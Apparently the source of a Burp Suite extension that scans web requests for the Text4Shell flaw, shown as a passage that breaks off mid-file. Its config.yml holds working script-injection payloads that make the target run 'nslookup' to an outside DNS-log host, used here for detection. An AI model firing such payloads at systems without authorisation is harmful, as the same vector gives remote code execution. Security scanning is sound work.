/src/main/java/burp/Bootstrap/YamlReader.java: -------------------------------------------------------------------------------- 1 | package burp.Bootstrap; 2 | 3 | import java.util.Map; 4 | import java.util.List; 5 | import java.util.HashMap; 6 | import java.util.LinkedHashMap; 7 | import java.io.File; 8 | import java.io.FileInputStream; 9 | import java.io.FileNotFoundException; 10 | import java.io.PrintWriter; 11 | 12 | import org.yaml.snakeyaml.Yaml; 13 | 14 | import burp.IBurpExtenderCallbacks; 15 | 16 | public class YamlReader { 17 | private static YamlReader instance; 18 | 19 | private static Map> properties = new HashMap<>(); 20 | 21 | private YamlReader(IBurpExtenderCallbacks callbacks) throws FileNotFoundException { 22 | CustomBurpHelpers customBurpHelpers = new CustomBurpHelpers(callbacks); 23 | String c = customBurpHelpers.getExtensionFilePath() + "resources/config.yml"; 24 | File f = new File(c); 25 | properties = new Yaml().load(new FileInputStream(f)); 26 | } 27 | 28 | public static synchronized YamlReader getInstance(IBurpExtenderCallbacks callbacks) { 29 | if (instance == null) { 30 | try { 31 | instance = new YamlReader(callbacks); 32 | } catch (FileNotFoundException e) { 33 | e.printStackTrace(new PrintWriter(callbacks.getStderr(), true)); 34 | } 35 | } 36 | return instance; 37 | } 38 | 39 | /** 40 | * 获取yaml属性 41 | * 可通过 "." 循环调用 42 | * 例如这样调用: YamlReader.getInstance().getValueByKey("a.b.c.d") 43 | * 44 | * @param key 45 | * @return 46 | */ 47 | public Object getValueByKey(String key) { 48 | String separator = "."; 49 | String[] separatorKeys = null; 50 | if (key.contains(separator)) { 51 | separatorKeys = key.split("\\."); 52 | } else { 53 | return properties.get(key); 54 | } 55 | Map> finalValue = new HashMap<>(); 56 | for (int i = 0; i < separatorKeys.length - 1; i++) { 57 | if (i == 0) { 58 | finalValue = (Map) properties.get(separatorKeys[i]); 59 | continue; 60 | } 61 | if (finalValue == null) { 62 | break; 63 | } 64 | finalValue = (Map) finalValue.get(separatorKeys[i]); 65 | } 66 | return finalValue == null ? null : finalValue.get(separatorKeys[separatorKeys.length - 1]); 67 | } 68 | 69 | public String getString(String key) { 70 | return String.valueOf(this.getValueByKey(key)); 71 | } 72 | 73 | public String getString(String key, String defaultValue) { 74 | if (null == this.getValueByKey(key)) { 75 | return defaultValue; 76 | } 77 | return String.valueOf(this.getValueByKey(key)); 78 | } 79 | 80 | public Boolean getBoolean(String key) { 81 | return (boolean) this.getValueByKey(key); 82 | } 83 | 84 | public Integer getInteger(String key) { 85 | return (Integer) this.getValueByKey(key); 86 | } 87 | 88 | public double getDouble(String key) { 89 | return (double) this.getValueByKey(key); 90 | } 91 | 92 | public List getStringList(String key) { 93 | return (List) this.getValueByKey(key); 94 | } 95 | 96 | public LinkedHashMap getLinkedHashMap(String key) { 97 | return (LinkedHashMap) this.getValueByKey(key); 98 | } 99 | } -------------------------------------------------------------------------------- /src/main/java/burp/DnsLogModule/ExtensionMethod/BurpDnsLog.java: -------------------------------------------------------------------------------- 1 | package burp.DnsLogModule.ExtensionMethod; 2 | 3 | import java.util.Map; 4 | import java.util.List; 5 | import java.util.Arrays; 6 | import java.util.Iterator; 7 | import java.io.PrintWriter; 8 | 9 | import burp.IExtensionHelpers; 10 | import burp.IBurpExtenderCallbacks; 11 | import burp.IBurpCollaboratorInteraction; 12 | import burp.IBurpCollaboratorClientContext; 13 | import burp.DnsLogModule.ExtensionInterface.DnsLogAbstract; 14 | 15 | public class BurpDnsLog extends DnsLogAbstract { 16 | private IBurpExtenderCallbacks callbacks; 17 | private IExtensionHelpers helpers; 18 | 19 | private IBurpCollaboratorClientContext burpCollaboratorClientContext; 20 | 21 | private String dnslogContent = null; 22 | 23 | public BurpDnsLog(IBurpExtenderCallbacks callbacks) { 24 | this.callbacks = callbacks; 25 | this.helpers = callbacks.getHelpers(); 26 | 27 | this.burpCollaboratorClientContext = callbacks.createBurpCollaboratorClientContext(); 28 | 29 | setExtensionName("BurpDnsLog"); 30 | 31 | this.init(); 32 | } 33 | 34 | private void init() { 35 | // 通过burp组建获取临时dnslog域名 36 | String temporaryDomainName = this.burpCollaboratorClientContext.generatePayload(true); 37 | if (temporaryDomainName == null || temporaryDomainName.length() <= 0) { 38 | throw new RuntimeException( 39 | String.format( 40 | "%s 扩展-获取临时域名失败, 请检查本机是否可使用burp自带的dnslog客户端", 41 | this.getExtensionName())); 42 | } 43 | this.setTemporaryDomainName(temporaryDomainName); 44 | } 45 | 46 | @Override 47 | public String getBodyContent() { 48 | List collaboratorInteractions = 49 | this.burpCollaboratorClientContext.fetchCollaboratorInteractionsFor(this.getTemporaryDomainName()); 50 | if (collaboratorInteractions != null && !collaboratorInteractions.isEmpty()) { 51 | Iterator iterator = collaboratorInteractions.iterator(); 52 | 53 | Map properties = iterator.next().getProperties(); 54 | if (properties.size() == 0) { 55 | return this.dnslogContent; 56 | } 57 | 58 | String content = null; 59 | for (String property : properties.keySet()) { 60 | String text = properties.get(property); 61 | if (property.equals("raw_query")) { 62 | text = new String(this.helpers.base64Decode(text)); 63 | } 64 | content += text + " "; 65 | } 66 | this.dnslogContent += content; 67 | return this.dnslogContent; 68 | } 69 | return this.dnslogContent; 70 | } 71 | 72 | @Override 73 | public String export() { 74 | String str1 = String.format("
============dnsLogExtensionDetail============
"); 75 | String str2 = String.format("ExtensionMethod: %s
", this.getExtensionName()); 76 | String str3 = String.format("dnsLogTemporaryDomainName: %s
", this.getTemporaryDomainName()); 77 | String str4 = String.format("=====================================
"); 78 | 79 | String detail = str1 + str2 + str3 + str4; 80 | 81 | return detail; 82 | } 83 | 84 | @Override 85 | public void consoleExport() { 86 | PrintWriter stdout = new PrintWriter(this.callbacks.getStdout(), true); 87 | 88 | stdout.println(""); 89 | stdout.println("===========dnsLog扩展详情==========="); 90 | stdout.println("你好呀~ (≧ω≦*)喵~"); 91 | stdout.println(String.format("被调用的插件: %s", this.getExtensionName())); 92 | stdout.println(String.format("dnsLog临时域名: %s", this.getTemporaryDomainName())); 93 | stdout.println("==================================="); 94 | stdout.println(""); 95 | } 96 | } 97 | -------------------------------------------------------------------------------- /src/main/java/burp/Application/RemoteCmdExtension/RemoteCmd.java: -------------------------------------------------------------------------------- 1 | package burp.Application.RemoteCmdExtension; 2 | 3 | import java.util.Date; 4 | import java.util.List; 5 | import java.lang.reflect.Constructor; 6 | import java.lang.reflect.InvocationTargetException; 7 | 8 | import burp.Bootstrap.GlobalVariableReader; 9 | import burp.IBurpExtenderCallbacks; 10 | 11 | import burp.DnsLogModule.DnsLog; 12 | import burp.Bootstrap.YamlReader; 13 | import burp.Bootstrap.BurpAnalyzedRequest; 14 | import burp.Application.ExtensionInterface.IAppExtension; 15 | 16 | public class RemoteCmd { 17 | private GlobalVariableReader globalVariableReader; 18 | 19 | private IBurpExtenderCallbacks callbacks; 20 | 21 | private BurpAnalyzedRequest analyzedRequest; 22 | 23 | private DnsLog dnsLog; 24 | 25 | private YamlReader yamlReader; 26 | 27 | private IAppExtension remoteCmd; 28 | 29 | // 该模块启动日期 30 | private Date startDate = new Date(); 31 | 32 | public RemoteCmd( 33 | GlobalVariableReader globalVariableReader, 34 | IBurpExtenderCallbacks callbacks, 35 | BurpAnalyzedRequest analyzedRequest, 36 | DnsLog dnsLog, 37 | YamlReader yamlReader, 38 | String callClassName) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException { 39 | this.globalVariableReader = globalVariableReader; 40 | 41 | this.callbacks = callbacks; 42 | this.analyzedRequest = analyzedRequest; 43 | 44 | this.dnsLog = dnsLog; 45 | 46 | this.yamlReader = yamlReader; 47 | this.init(callClassName); 48 | } 49 | 50 | private void init(String callClassName) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException { 51 | if (callClassName == null || callClassName.length() <= 0) { 52 | throw new IllegalArgumentException("Application.RemoteCmdExtension-请输入要调用的插件名称"); 53 | } 54 | 55 | List payloads = this.yamlReader.getStringList("application.remoteCmdExtension.config.payloads"); 56 | if (payloads.size() == 0) { 57 | throw new IllegalArgumentException("Application.RemoteCmdExtension-获取的payloads为空,无法正常运行"); 58 | } 59 | 60 | Class c = Class.forName("burp.Application.RemoteCmdExtension.ExtensionMethod." + callClassName); 61 | Constructor cConstructor = c.getConstructor( 62 | GlobalVariableReader.class, 63 | IBurpExtenderCallbacks.class, 64 | BurpAnalyzedRequest.class, 65 | DnsLog.class, 66 | YamlReader.class, 67 | List.class, 68 | Date.class, 69 | Integer.class); 70 | this.remoteCmd = (IAppExtension) cConstructor.newInstance( 71 | this.globalVariableReader, 72 | this.callbacks, 73 | this.analyzedRequest, 74 | this.dnsLog, 75 | this.yamlReader, 76 | payloads, 77 | this.startDate, 78 | this.getMaxExecutionTime()); 79 | 80 | if (!this.remoteCmd.isRegister()) { 81 | throw new IllegalArgumentException("该应用模块未注册,无法使用"); 82 | } 83 | 84 | if (this.remoteCmd.getExtensionName().isEmpty()) { 85 | throw new IllegalArgumentException("请为该该应用模块-设置扩展名称"); 86 | } 87 | } 88 | 89 | public IAppExtension run() { 90 | return this.remoteCmd; 91 | } 92 | 93 | /** 94 | * 程序最大执行时间,单位为秒 95 | * 会根据payload的添加而添加 96 | * 97 | * @return 98 | */ 99 | private Integer getMaxExecutionTime() { 100 | Integer maxExecutionTime = this.yamlReader.getInteger("application.remoteCmdExtension.config.maxExecutionTime"); 101 | Integer keySize = this.yamlReader.getStringList("application.remoteCmdExtension.config.payloads").size(); 102 | maxExecutionTime += keySize * 6; 103 | return maxExecutionTime; 104 | } 105 | } 106 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | main.java.burp 8 | Text4ShellScan 9 | 1.4 10 | 11 | 12 | 13 | 14 | org.apache.maven.plugins 15 | maven-compiler-plugin 16 | 3.7.0 17 | 18 | 1.8 19 | 1.8 20 | UTF-8 21 | 22 | 23 | 24 | 25 | maven-assembly-plugin 26 | 27 | 28 | jar-with-dependencies 29 | 30 | 31 | 32 | burp.BurpExtender 33 | 34 | 35 | 36 | 37 | 38 | make-assembly 39 | package 40 | 41 | single 42 | 43 | 44 | 45 | 46 | 47 | org.apache.maven.plugins 48 | maven-resources-plugin 49 | 3.2.0 50 | 51 | 52 | copy-resources 53 | package 54 | 55 | copy-resources 56 | 57 | 58 | ${project.build.directory}/resources 59 | 60 | 61 | src/main/resources 62 | 63 | **/* 64 | 65 | true 66 | 67 | 68 | UTF-8 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | net.portswigger.burp.extender 80 | burp-extender-api 81 | 2.1 82 | 83 | 84 | 85 | 86 | com.github.kevinsawicki 87 | http-request 88 | 6.0 89 | 90 | 91 | 92 | dom4j 93 | dom4j 94 | 1.6.1 95 | 96 | 97 | 98 | 99 | org.yaml 100 | snakeyaml 101 | 1.32 102 | 103 | 104 | 105 | com.alibaba 106 | fastjson 107 | 1.2.83 108 | 109 | 110 | 111 | -------------------------------------------------------------------------------- /src/main/resources/config.yml: -------------------------------------------------------------------------------- 1 | # 插件启动项 2 | isStart: true 3 | 4 | # 消息等级 5 | # 用于插件扫描队列界面的显示 6 | # ALL = 显示所有消息 7 | # INFO = 只显示一般信息, 会屏蔽 "request no json / request json no eligible"这两个信息 8 | # PIVOTAL = 只显示关键信息,只显示所有前缀带"[+]/[-]/[x]"的信息 9 | # 注: 乱输等于 PIVOTAL 10 | messageLevel: "ALL" 11 | 12 | # 扫描配置 13 | scan: 14 | # 问题数量 15 | # 表示可以接收同一个站点多少个问题个数 16 | # 超过次数以后就不在对该站点进行扫描了 17 | # 0 表示无限次接收 18 | issueNumber: 1 19 | # 站点扫描次数 20 | # 超过次数以后就不在对该站点进行扫描了 21 | # 0 表示无限次扫描 22 | siteScanNumber: 0 23 | # 域名扫描规则 24 | domainName: 25 | # 域名黑名单 26 | # 注: 黑名单优先级最高 27 | # 注: 为空表示关闭该功能 28 | # 使用规则: 29 | # 1. 过滤某个域名: www.domain1.com 30 | # 2. 过滤某个域名的全部子域名: *.domain2.com 31 | # 3. 过滤某个域名的部分子域名: a.*.domain2.com/*.a.*.domain2.com 32 | # 使用方法: 33 | # blacklist: 34 | # - "www.domain1.com" 35 | # - "*.domain2.com" 36 | blacklist: 37 | - "*.dnslog.cn" 38 | - "*.ceye.io" 39 | - "*.fofa.so" 40 | - "*.shodan.io" 41 | - "*.github.com" 42 | # 域名白名单 43 | # 注: 黑名单优先级最高 44 | # 注: 为空表示关闭该功能 45 | # 使用规则: 46 | # 1. 只扫描某个域名: www.domain1.com 47 | # 2. 只扫描某个域名的全部子域名: *.domain2.com 48 | # 3. 只扫描某个域名的部分子域名: a.*.domain2.com/*.a.*.domain2.com 49 | # 使用方法: 50 | # whitelist: 51 | # - "www.domain1.com" 52 | # - "*.domain2.com" 53 | whitelist: 54 | headersName: 55 | #header头黑名单 56 | blacklist: 57 | - "Cookie" 58 | - "Authorize" 59 | 60 | # url黑名单后缀 61 | # url的后缀出现这些字段的都不进行测试 62 | urlBlackListSuffix: 63 | config: 64 | isStart: true 65 | suffixList: 66 | - "3g2" 67 | - "3gp" 68 | - "7z" 69 | - "aac" 70 | - "abw" 71 | - "aif" 72 | - "aifc" 73 | - "aiff" 74 | - "arc" 75 | - "au" 76 | - "avi" 77 | - "azw" 78 | - "bin" 79 | - "bmp" 80 | - "bz" 81 | - "bz2" 82 | - "cmx" 83 | - "cod" 84 | - "csh" 85 | - "css" 86 | - "csv" 87 | - "doc" 88 | - "docx" 89 | - "eot" 90 | - "epub" 91 | - "gif" 92 | - "gz" 93 | - "ico" 94 | - "ics" 95 | - "ief" 96 | - "jar" 97 | - "jfif" 98 | - "jpe" 99 | - "jpeg" 100 | - "jpg" 101 | - "m3u" 102 | - "mid" 103 | - "midi" 104 | - "mjs" 105 | - "mp2" 106 | - "mp3" 107 | - "mpa" 108 | - "mpe" 109 | - "mpeg" 110 | - "mpg" 111 | - "mpkg" 112 | - "mpp" 113 | - "mpv2" 114 | - "odp" 115 | - "ods" 116 | - "odt" 117 | - "oga" 118 | - "ogv" 119 | - "ogx" 120 | - "otf" 121 | - "pbm" 122 | - "pdf" 123 | - "pgm" 124 | - "png" 125 | - "pnm" 126 | - "ppm" 127 | - "ppt" 128 | - "pptx" 129 | - "ra" 130 | - "ram" 131 | - "rar" 132 | - "ras" 133 | - "rgb" 134 | - "rmi" 135 | - "rtf" 136 | - "snd" 137 | - "svg" 138 | - "swf" 139 | - "tar" 140 | - "tif" 141 | - "tiff" 142 | - "ttf" 143 | - "vsd" 144 | - "wav" 145 | - "weba" 146 | - "webm" 147 | - "webp" 148 | - "woff" 149 | - "woff2" 150 | - "xbm" 151 | - "xls" 152 | - "xlsx" 153 | - "xpm" 154 | - "xul" 155 | - "xwd" 156 | - "zip" 157 | - "js" 158 | - "wmv" 159 | - "asf" 160 | - "asx" 161 | - "rm" 162 | - "rmvb" 163 | - "mp4" 164 | - "mov" 165 | - "m4v" 166 | - "dat" 167 | - "mkv" 168 | - "flv" 169 | - "vob" 170 | - "txt" 171 | - "php" 172 | - "asp" 173 | 174 | # 应用程序配置 175 | application: 176 | # 远程命令扩展 177 | remoteCmdExtension: 178 | config: 179 | # 插件启动项 180 | isStart: true 181 | # 程序最大执行时间 182 | # 指的是请求里面每个参数的基础最大执行时间 183 | # 实际上会根据poc的增加而增加 184 | maxExecutionTime: 20 185 | # 提供商 186 | # 声明使用 Application.RemoteCmdExtension.ExtensionMethod 的哪个类,为该扩展提供服务 187 | provider: "RemoteCmdScan" 188 | # 漏洞名称 189 | issueName: "TextShell-RemoteCmd" 190 | payloads: 191 | - "%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup+dns-url%27%29%7D" 192 | - "${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup dns-url')}" 193 | # dnsLog模块 194 | dnsLogModule: 195 | # 提供商 196 | # 声明使用 DnsLogModule.ExtensionMethod 的哪个类,为该扩展提供服务 197 | # 目前集成方法: 198 | # DnsLogCn = http://dnslog.cn的接口 199 | # BurpDnsLog = burp自带的dnslog接口 200 | # Ceye = http://ceye.io的接口 201 | # DnsLogPrivate = 自搭建的DNSLOG接口 202 | provider: "DnsLogCn" 203 | # 其它数据,用于一些需要验证接口取值使用的 204 | # 注意: key=value;为一个参数 205 | # 例如: 206 | # a=1; b=2; c=3; 207 | # Ceye的配置等于: token=xxx;Identifier=xxxx.ceye.io; 208 | # DnsLogPrivate的配置: DnsDomain=dns.ld; Identifier=http://dns/token 209 | other: "DnsDomain=5b7c4324.dns.1433.eu.org;Identifier=https://dig.pm/12qa8ygnz4jy;" -------------------------------------------------------------------------------- /src/main/java/burp/DnsLogModule/ExtensionMethod/Ceye.java: -------------------------------------------------------------------------------- 1 | package burp.DnsLogModule.ExtensionMethod; 2 | 3 | import burp.Bootstrap.CustomHelpers; 4 | import burp.Bootstrap.YamlReader; 5 | import burp.DnsLogModule.ExtensionInterface.DnsLogAbstract; 6 | import burp.IBurpExtenderCallbacks; 7 | import com.github.kevinsawicki.http.HttpRequest; 8 | 9 | import java.io.PrintWriter; 10 | 11 | public class Ceye extends DnsLogAbstract { 12 | private IBurpExtenderCallbacks callbacks; 13 | 14 | private String dnslogDomainName; 15 | 16 | private YamlReader yamlReader; 17 | 18 | private String key; 19 | private String token; 20 | private String Identifier; 21 | 22 | public Ceye(IBurpExtenderCallbacks callbacks) { 23 | this.callbacks = callbacks; 24 | 25 | this.dnslogDomainName = "http://api.ceye.io"; 26 | 27 | this.setExtensionName("Ceye"); 28 | 29 | this.yamlReader = YamlReader.getInstance(callbacks); 30 | String other = this.yamlReader.getString("dnsLogModule.other"); 31 | 32 | this.key = CustomHelpers.randomStr(8); 33 | this.token = CustomHelpers.getParam(other, "token").trim(); 34 | this.Identifier = CustomHelpers.getParam(other, "Identifier").trim(); 35 | 36 | this.init(); 37 | } 38 | 39 | private void init() { 40 | if (this.token == null || this.token.length() <= 0) { 41 | throw new RuntimeException(String.format("%s 扩展-token参数不能为空", this.getExtensionName())); 42 | } 43 | if (this.Identifier == null || this.Identifier.length() <= 0) { 44 | throw new RuntimeException(String.format("%s 扩展-Identifier参数不能为空", this.getExtensionName())); 45 | } 46 | 47 | String temporaryDomainName = this.key + "." + this.Identifier; 48 | this.setTemporaryDomainName(temporaryDomainName); 49 | } 50 | 51 | @Override 52 | public String getBodyContent() { 53 | String url = String.format("%s/v1/records?token=%s&type=dns&filter=%s", this.dnslogDomainName, this.token, this.key + "."); 54 | String userAgent = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36"; 55 | HttpRequest request = HttpRequest.get(url); 56 | request.trustAllCerts(); 57 | request.trustAllHosts(); 58 | request.followRedirects(false); 59 | request.header("User-Agent", userAgent); 60 | request.header("Accept", "*/*"); 61 | request.readTimeout(30 * 1000); 62 | request.connectTimeout(30 * 1000); 63 | 64 | String body = request.body(); 65 | 66 | if (!request.ok()) { 67 | throw new RuntimeException( 68 | String.format( 69 | "%s 扩展-%s内容有异常,异常内容: %s", 70 | this.getExtensionName(), 71 | this.dnslogDomainName, 72 | body 73 | ) 74 | ); 75 | } 76 | 77 | if (body.contains("[]")) { 78 | return null; 79 | } 80 | return body; 81 | } 82 | 83 | @Override 84 | public String export() { 85 | String str1 = String.format("
============dnsLogExtensionDetail============
"); 86 | String str2 = String.format("ExtensionMethod: %s
", this.getExtensionName()); 87 | String str3 = String.format("dnsLogDomainName: %s
", this.dnslogDomainName); 88 | String str4 = String.format("dnsLogRecordsApi: %s/v1/records?token=%s&type=dns&filter=%s
", this.dnslogDomainName, this.token, this.key + "."); 89 | String str5 = String.format("dnsLogTemporaryDomainName: %s
", this.getTemporaryDomainName()); 90 | String str6 = String.format("=====================================
"); 91 | 92 | String detail = str1 + str2 + str3 + str4 + str5 + str6; 93 | 94 | return detail; 95 | } 96 | 97 | @Override 98 | public void consoleExport() { 99 | PrintWriter stdout = new PrintWriter(this.callbacks.getStdout(), true); 100 | 101 | stdout.println(""); 102 | stdout.println("===========dnsLog扩展详情==========="); 103 | stdout.println("你好呀~ (≧ω≦*)喵~"); 104 | stdout.println(String.format("被调用的插件: %s", this.getExtensionName())); 105 | stdout.println(String.format("dnsLog域名: %s", this.dnslogDomainName)); 106 | stdout.println(String.format("dnsLogRecordsApi: %s/v1/records?token=%s&type=dns&filter=%s", this.dnslogDomainName, this.token, this.key + ".")); 107 | stdout.println(String.format("dnsLog临时域名: %s", this.getTemporaryDomainName())); 108 | stdout.println("==================================="); 109 | stdout.println(""); 110 | } 111 | } -------------------------------------------------------------------------------- /src/main/java/burp/DnsLogModule/ExtensionMethod/DnsLogCn.java: -------------------------------------------------------------------------------- 1 | package burp.DnsLogModule.ExtensionMethod; 2 | 3 | import java.io.PrintWriter; 4 | 5 | import burp.Bootstrap.CustomHelpers; 6 | import com.github.kevinsawicki.http.HttpRequest; 7 | 8 | import burp.IBurpExtenderCallbacks; 9 | import burp.DnsLogModule.ExtensionInterface.DnsLogAbstract; 10 | 11 | public class DnsLogCn extends DnsLogAbstract { 12 | private IBurpExtenderCallbacks callbacks; 13 | 14 | private String dnslogDomainName; 15 | 16 | private String dnsLogCookieName; 17 | private String dnsLogCookieValue; 18 | 19 | public DnsLogCn(IBurpExtenderCallbacks callbacks) { 20 | this.callbacks = callbacks; 21 | 22 | this.dnslogDomainName = "http://dnslog.cn"; 23 | 24 | this.setExtensionName("DnsLogCn"); 25 | 26 | this.init(); 27 | } 28 | 29 | private void init() { 30 | String url = this.dnslogDomainName + "/getdomain.php"; 31 | String userAgent = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36"; 32 | 33 | HttpRequest request = HttpRequest.get(url); 34 | request.trustAllCerts(); 35 | request.trustAllHosts(); 36 | request.followRedirects(false); 37 | request.header("User-Agent", userAgent); 38 | request.header("Accept", "*/*"); 39 | request.readTimeout(30 * 1000); 40 | request.connectTimeout(30 * 1000); 41 | 42 | int statusCode = request.code(); 43 | if (statusCode != 200) { 44 | throw new RuntimeException( 45 | String.format( 46 | "%s 扩展-访问url-%s, 请检查本机是否可访问 %s", 47 | this.getExtensionName(), 48 | statusCode, 49 | url)); 50 | } 51 | 52 | // 设置 dnslog 的临时域名 53 | String temporaryDomainName = request.body(); 54 | if (request.isBodyEmpty()) { 55 | throw new RuntimeException( 56 | String.format( 57 | "%s 扩展-获取临时域名失败, 请检查本机是否可访问 %s", 58 | this.getExtensionName(), 59 | this.dnslogDomainName)); 60 | } 61 | this.setTemporaryDomainName(temporaryDomainName); 62 | 63 | String cookie = request.header("Set-Cookie"); 64 | String sessidKey = "PHPSESSID"; 65 | String sessidValue = CustomHelpers.getParam(cookie, sessidKey); 66 | if (sessidValue.length() == 0) { 67 | throw new IllegalArgumentException( 68 | String.format( 69 | "%s 扩展-访问站点 %s 时返回Cookie为空, 导致无法正常获取dnsLog数据, 请检查", 70 | this.getExtensionName(), 71 | this.dnslogDomainName)); 72 | } 73 | 74 | this.dnsLogCookieName = sessidKey; 75 | this.dnsLogCookieValue = sessidValue; 76 | } 77 | 78 | @Override 79 | public String getBodyContent() { 80 | String url = this.dnslogDomainName + "/getrecords.php"; 81 | String userAgent = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36"; 82 | 83 | HttpRequest request = HttpRequest.get(url); 84 | request.trustAllCerts(); 85 | request.trustAllHosts(); 86 | request.followRedirects(false); 87 | request.header("User-Agent", userAgent); 88 | request.header("Accept", "*/*"); 89 | request.header("Cookie", this.dnsLogCookieName + "=" + this.dnsLogCookieValue + ";"); 90 | request.readTimeout(30 * 1000); 91 | request.connectTimeout(30 * 1000); 92 | 93 | String body = request.body(); 94 | 95 | if (!request.ok()) { 96 | throw new RuntimeException( 97 | String.format( 98 | "%s 扩展-%s内容有异常,异常内容: %s", 99 | this.getExtensionName(), 100 | this.dnslogDomainName, 101 | body 102 | ) 103 | ); 104 | } 105 | 106 | if (body.equals("[]")) { 107 | return null; 108 | } 109 | return body; 110 | } 111 | 112 | @Override 113 | public String export() { 114 | String str1 = String.format("
============dnsLogExtensionDetail============
"); 115 | String str2 = String.format("ExtensionMethod: %s
", this.getExtensionName()); 116 | String str3 = String.format("dnsLogDomainName: %s
", this.dnslogDomainName); 117 | String str4 = String.format("dnsLogRecordsApi: %s
", this.dnslogDomainName + "/getrecords.php"); 118 | String str5 = String.format("cookie: %s=%s
", this.dnsLogCookieName, this.dnsLogCookieValue); 119 | String str6 = String.format("dnsLogTemporaryDomainName: %s
", this.getTemporaryDomainName()); 120 | String str7 = String.format("=====================================
"); 121 | 122 | String detail = str1 + str2 + str3 + str4 + str5 + str6 + str7; 123 | 124 | return detail; 125 | } 126 | 127 | @Override 128 | public void consoleExport() { 129 | PrintWriter stdout = new PrintWriter(this.callbacks.getStdout(), true); 130 | 131 | stdout.println(""); 132 | stdout.println("===========dnsLog扩展详情==========="); 133 | stdout.println("你好呀~ (≧ω≦*)喵~"); 134 | stdout.println(String.format("被调用的插件: %s", this.getExtensionName())); 135 | stdout.println(String.format("dnsLog域名: %s", this.dnslogDomainName)); 136 | stdout.println(String.format("dnsLog保存记录的api接口: %s", this.dnslogDomainName + "/getrecords.php")); 137 | stdout.println(String.format("cookie: %s=%s", this.dnsLogCookieName, this.dnsLogCookieValue)); 138 | stdout.println(String.format("dnsLog临时域名: %s", this.getTemporaryDomainName())); 139 | stdout.println("==================================="); 140 | stdout.println(""); 141 | } 142 | } 143 | -------------------------------------------------------------------------------- /src/main/java/burp/Application/RemoteCmdExtension/ExtensionMethod/RemoteCmdScan.java: -------------------------------------------------------------------------------- 1 | package burp.Application.RemoteCmdExtension.ExtensionMethod; 2 | 3 | import java.net.URL; 4 | import java.util.Date; 5 | import java.util.List; 6 | import java.util.ArrayList; 7 | import java.io.PrintWriter; 8 | 9 | import burp.*; 10 | 11 | import burp.Bootstrap.*; 12 | import burp.CustomScanIssue; 13 | import burp.DnsLogModule.DnsLog; 14 | import burp.Application.ExtensionInterface.AAppExtension; 15 | import burp.CustomErrorException.TaskTimeoutException; 16 | 17 | public class RemoteCmdScan extends AAppExtension { 18 | private GlobalVariableReader globalVariableReader; 19 | 20 | private IBurpExtenderCallbacks callbacks; 21 | private IExtensionHelpers helpers; 22 | 23 | private BurpAnalyzedRequest analyzedRequest; 24 | 25 | private DnsLog dnsLog; 26 | 27 | private YamlReader yamlReader; 28 | 29 | private List payloads; 30 | 31 | private Date startDate; 32 | private int maxExecutionTime; 33 | 34 | private String sendDnsLogUrl; 35 | 36 | private ArrayList keyArrayList = new ArrayList<>(); 37 | private ArrayList dnsLogUrlArrayList = new ArrayList<>(); 38 | private ArrayList httpRequestResponseArrayList = new ArrayList<>(); 39 | 40 | public RemoteCmdScan(GlobalVariableReader globalVariableReader, 41 | IBurpExtenderCallbacks callbacks, BurpAnalyzedRequest analyzedRequest, 42 | DnsLog dnsLog, YamlReader yamlReader, List payloads, 43 | Date startDate, Integer maxExecutionTime) { 44 | this.globalVariableReader = globalVariableReader; 45 | 46 | this.callbacks = callbacks; 47 | this.helpers = callbacks.getHelpers(); 48 | 49 | this.analyzedRequest = analyzedRequest; 50 | 51 | this.dnsLog = dnsLog; 52 | 53 | this.yamlReader = yamlReader; 54 | 55 | this.payloads = payloads; 56 | 57 | this.startDate = startDate; 58 | this.maxExecutionTime = maxExecutionTime; 59 | 60 | this.setExtensionName("RemoteCmdScan"); 61 | this.registerExtension(); 62 | 63 | this.runExtension(); 64 | } 65 | 66 | private void runExtension() { 67 | 68 | for (String payload : this.payloads) { 69 | // 这个参数为true说明插件已经被卸载,退出所有任务,避免继续扫描 70 | if (this.globalVariableReader.getBooleanData("isExtensionUnload")) { 71 | return; 72 | } 73 | // 说明接收到了dnslog请求确定是Text4Shell 74 | if (this.isIssue()) { 75 | return; 76 | } 77 | 78 | // 如果dnslog有内容但是 this.isIssue() 为false 79 | // 这可能是因为 请求发出去了 dnslog还没反应过来 80 | // 这种情况后面的循环就没必要了, 退出该循环 81 | // 等待二次验证即可 82 | // if (this.dnsLog.run().getBodyContent() != null) { 83 | // if (this.dnsLog.run().getBodyContent().length() >= 1) { 84 | // break; 85 | // } 86 | // } 87 | 88 | 89 | // 判断程序是否运行超时 90 | Integer startTime = CustomHelpers.getSecondTimestamp(this.startDate); 91 | Integer currentTime = CustomHelpers.getSecondTimestamp(new Date()); 92 | Integer runTime = currentTime - startTime; 93 | if (runTime >= this.maxExecutionTime) { 94 | throw new TaskTimeoutException("scan task timed out"); 95 | } 96 | 97 | 98 | 99 | // 实际业务处理 100 | this.remoteCmdDetection(payload); 101 | 102 | } 103 | 104 | // 防止因为dnslog卡导致没有检测到的问题, 这里进行二次检测, 保证不会漏报 105 | // 睡眠一段时间, 给dnslog一个缓冲时间 106 | try { 107 | Thread.sleep(8000); 108 | } catch (InterruptedException e) { 109 | throw new RuntimeException(e); 110 | } 111 | 112 | // 开始进行二次验证 113 | String dnsLogBodyContent = this.dnsLog.run().getBodyContent(); 114 | if (dnsLogBodyContent == null || dnsLogBodyContent.length() <= 0) { 115 | return; 116 | } 117 | 118 | // 这里进行二次判断 119 | for (int i = 0; i < this.keyArrayList.size(); i++) { 120 | // dnslog 内容匹配判断 121 | if (!dnsLogBodyContent.contains(this.keyArrayList.get(i))) { 122 | if ((i + 1) != this.keyArrayList.size()) { 123 | continue; 124 | } else { 125 | return; 126 | } 127 | } 128 | 129 | // 设置问题详情 130 | this.setIssuesDetail(this.httpRequestResponseArrayList.get(i), 